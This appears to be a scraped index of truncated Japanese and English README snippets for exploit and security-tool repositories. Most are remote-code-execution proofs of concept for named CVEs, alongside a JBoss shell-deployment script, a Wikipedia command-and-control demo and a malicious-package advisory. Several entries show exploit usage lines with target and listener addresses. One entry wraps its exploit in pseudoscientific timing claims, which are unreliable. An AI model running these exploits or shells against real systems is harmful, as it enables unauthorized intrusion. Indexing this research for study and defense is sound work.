CVE-2021-27928

CVE-2021-27928 このリポジトリでは、Dockerコンテナを介したCVE-2021-27928脆弱性の悪用の概念実証を見つけることができます。 root@kitploit: Exploit Title: MariaDB 10.2 /MySQL - 'wsrepprovider' OS Command Execution Date: 03/18/2021 Exploit Author: Central InfoSec Version: MariaDB 10.2 before 10.2.37, 10.3 before 10.3.28, 10.4 before 10.4.18,...

connectwise-automate-AiTM-rce

ConnectWise Automate 中間者攻撃によるリモートコード実行 目次 背景 タイムライン 考察と学び 責任ある開示 PoC コード ConnectWise に提供したレポート 概要 脆弱な構成 影響 技術的詳細 1. HTTP トランスポート 2. 不十分なプロトコルセキュリティ（暗号化と検証の欠如） 2.1 依存関係チェックとダウンロードにおける不十分な検証 2.2 リプレイプロテクションの欠如 2.3 自己アップデートにおける不十分な検証 3. RMM コマンド＆コントロールの乗っ取り 緩和策 背景 ペネトレーションテストの一環として、ConnectWise...

outpost

Outpost AWS テストとレポート管理 Outpost は、AssumeRole 用の AWS 設定ファイルを生成し、アカウントが機能することを検証するテスト機能と、ScoutSuite のスキャン結果のレポート生成機能を提供するシンプルなツールです。 ScoutSuite を実行 結果を解析 ✨レポートの検出結果を生成✨ インストール Outpost の実行には Python3 と boto3 が必要です。 依存関係をインストールします。 root@kitploit: virtualenv -p python3 . source bin/activate pip install ...

ets5-password-recovery

ETS5 パスワードリカバリツール 目次 はじめに インストール 要件 パスワードリカバリの仕組み 設計上の欠陥はどのように発見されたか？ リスクを軽減するには？ 協調的な脆弱性開示 ライセンス 変更履歴 はじめに ETS5プロジェクトのパスワードを忘れてしまい、KNXインストールの設定にアクセスできなくなりましたか？...

gt-7240r-root

GENESIS GT-7240R Root Tool This tool uses the CVE-2014-3153...

CVE-2024-4885

CVE-2024-4885 CVE-2024-4885 の PoC: Progress WhatsUp Gold の GetFileWithoutZip における認証なしリモートコード実行 CVE-2024-4885 技術分析 この脆弱性の根本原因分析は私のブログで公開されています： https://summoning.team/blog/progress-whatsup-gold-rce-cve-2024-4885/ 使用方法 root@kitploit: python3 CVE-2024-4885.py -t http://192.168.0.231:9642 -s...

CVE-2023-25610

CVE-2023-25610 FortiOS管理インターフェースのヒープアンダーフローによるリモートコード実行。 範囲と制限 1. Fortinet 6.x 2. TLSv1.3ベース、他のTLSバージョンでは異なる可能性あり 使用方法 python3 cve-2022-42475.py rhost rport lhost 'command' root@kitploit: python3 CVE-2023-25610.py 192.168.10.1 8443 10.10.1.1 'ls -la /' リスナー...

CVE-2020-17530

CVE-2020-17530 CVE-2020-17530 のクイックPOCです。CVE-2020-17530 を対象としています。Apache Struts バージョン 2.0.0 から 2.5.25 では、タグ属性内の生のユーザー入力に対する強制的な Object Graph Navigational Language OGNL 評価により、リモートコード実行 RCE が引き起こされる可能性があります。 root@kitploit: $ python CVE-2020-17530.py --help usage: CVE-2020-17530.py -h -c COMMAND -n...

cve-2020-5902-ioc-bigip-checker

CVE-2020-5902 IoC検出ツール このスクリプトは、root権限を持つユーザーがF5 BIG-IP上でAdvanced Shell（bash）でローカルに実行することを目的としています。他の環境で実行することを意図していません。注意：アプライアンスモードではAdvanced Shellへのアクセスが許可されていないため、このツールはそのようなシステムでは実行できません。 このスクリプトは、作成時にF5...

SecGen

tomcat 目次 1. 概要 2. モジュールの説明 - モジュールの機能と役立つ理由 3. セットアップ - tomcat導入の基本 セットアップ要件 tomcatを開始する 4. 使用方法 - 設定オプションとその他の機能 複数のバージョン、複数インスタンスのtomcatを実行したい WARファイルをデプロイしたい 構成の一部を削除したい 既存のConnectorまたはRealmを管理したい 5. リファレンス - モジュールの内部で何がどのように行われているかのぞいてみよう クラス 定義タイプ パラメータ tomcat...

Malicious code in vercel-runtime-python (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f59b48451cf996ea42b291d60ed56205aeb9803222d156f7880fd6b92032b1c6 The package presents itself as a Vercel Python runtime helper but ships no runtime functionality. Its only substantive code path is a public function...

MAL-2026-17168 Malicious code in vercel-runtime-python (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f59b48451cf996ea42b291d60ed56205aeb9803222d156f7880fd6b92032b1c6 The package presents itself as a Vercel Python runtime helper but ships no runtime functionality. Its only substantive code path is a public function...

Gin-Vue-admin-poc-CVE-2022-21660

Gin-Vue-admin垂直権限昇格の脆弱性とコード分析 - CVE-2022-21660 一、はじめに 各位の皆様、このプロジェクトにスターを一つお願いいたします。http https://github.com/flipped-aurora/gin-vue-admin/ root@kitploit: 文章を書き終えた後、CVEの申請には多少の手間がかかりましたが、何とか取得できました。GitHubのスタッフの対応は迅速でした。 ps CVE申請前に、既にCNVDに提出済み 二、環境構築 公式チュートリアルに従ってbash git clone...

CVE-2023-46805_CVE-2024-21887

CVE-2023-46805 Ivanti ICS 9.x、22.x および Ivanti Policy Secure の Web コンポーネントにおける認証バイパスの脆弱性により、リモートの攻撃者が制御チェックをバイパスして制限されたリソースにアクセスできるようになります。 usage: ./CVE-2023-46805.sh https://fqdn:port ./CVE-2023-46805.sh https://my.vpn.ip:443 注意事項: chmod +x CVE-2023-46805.sh 必要なアプリ: curl + jsonpp 結果:...

wikipedia-c2

Wikipedia-C2 Wikipedia C2 Blog Post This is a demo project to demonstrate Command and Control utilizing Wikipedia. After Josh Abraham's demo of C2 utilizing Slack and ICMP, I thought I'd explore what other options in the internet's top sites could be used for C2. After reviewing Wikipedia's API, ...

wikipedia-c2

Wikipedia-C2 Wikipedia C2 ブログ記事 これは、Wikipediaを利用したC2（Command and Control）を実証するためのデモプロジェクトです。Josh Abraham氏によるSlackとICMPを利用したC2のデモを見て、インターネットの主要サイトの中に他にC2に使える選択肢があるか探ってみようと思いました。WikipediaのAPIを確認したところ、user-jsarbitraryKeyNameに「任意の値」を設定できるユーザーオプションがあることを発見しました。その後、最大長が65535文字であることもわかり、C2には十分すぎる容量です。...

cve-2019-15107

CVE-2019-15107 - Webmin 未認証RCE 説明 このリポジトリには、Webminバージョン1.890から1.920に影響を与えるCVE-2019-15107の概念実証（PoC）エクスプロイトが含まれています。...

CVE-2025-471812-POC

root@kitploit: / | / | / / | / / / |/ // / / / / / / &password= 2. Server authenticates "anonymous" truncated at NULL but writes full payload into session file → returns UID cookie 3. GET /dir.html Cookie: UID= Server loads session file → executes injected Lua → RCE インストール root@kitploit: git...

-CTT-PAN-OS-EXPLOIT-CVE-2024-340

-CTT-PAN-OS-EXPLOIT-CVE-2024-340 CTT-PAN-OS-Exploit – CVE-2024-3400（CVSS 10.0）に、Convergent Time Theory による拡張を適用。α = 0.0302011 の時間分散、33層の位相共鳴カスケード、11 ns の時間ウェッジフィルタリングを使用して、Palo Alto GlobalProtect のコマンドインジェクションを悪用します。ペイロードは33の時間層に指数関数的優先度 d 以下は、CTT PAN-OS Exploit の README と簡単な説明です: 簡単な説明...

jboss-autopwn

⚠️ 注記: このツールは現在アクティブにメンテナンスされていません。 JBoss Autopwn Script Christian G. Papathanasiou http://www.spiderlabs.com はじめに このJBossスクリプトは、対象のJBoss ASサーバーにJSPシェルを展開します。展開後、このスクリプトはアップロード機能とコマンド実行機能を使用して、インタラクティブなセッションを提供します。 機能は以下のとおりです: マルチプラットフォーム対応 - Windows、Linux、Macのターゲットでテスト済み...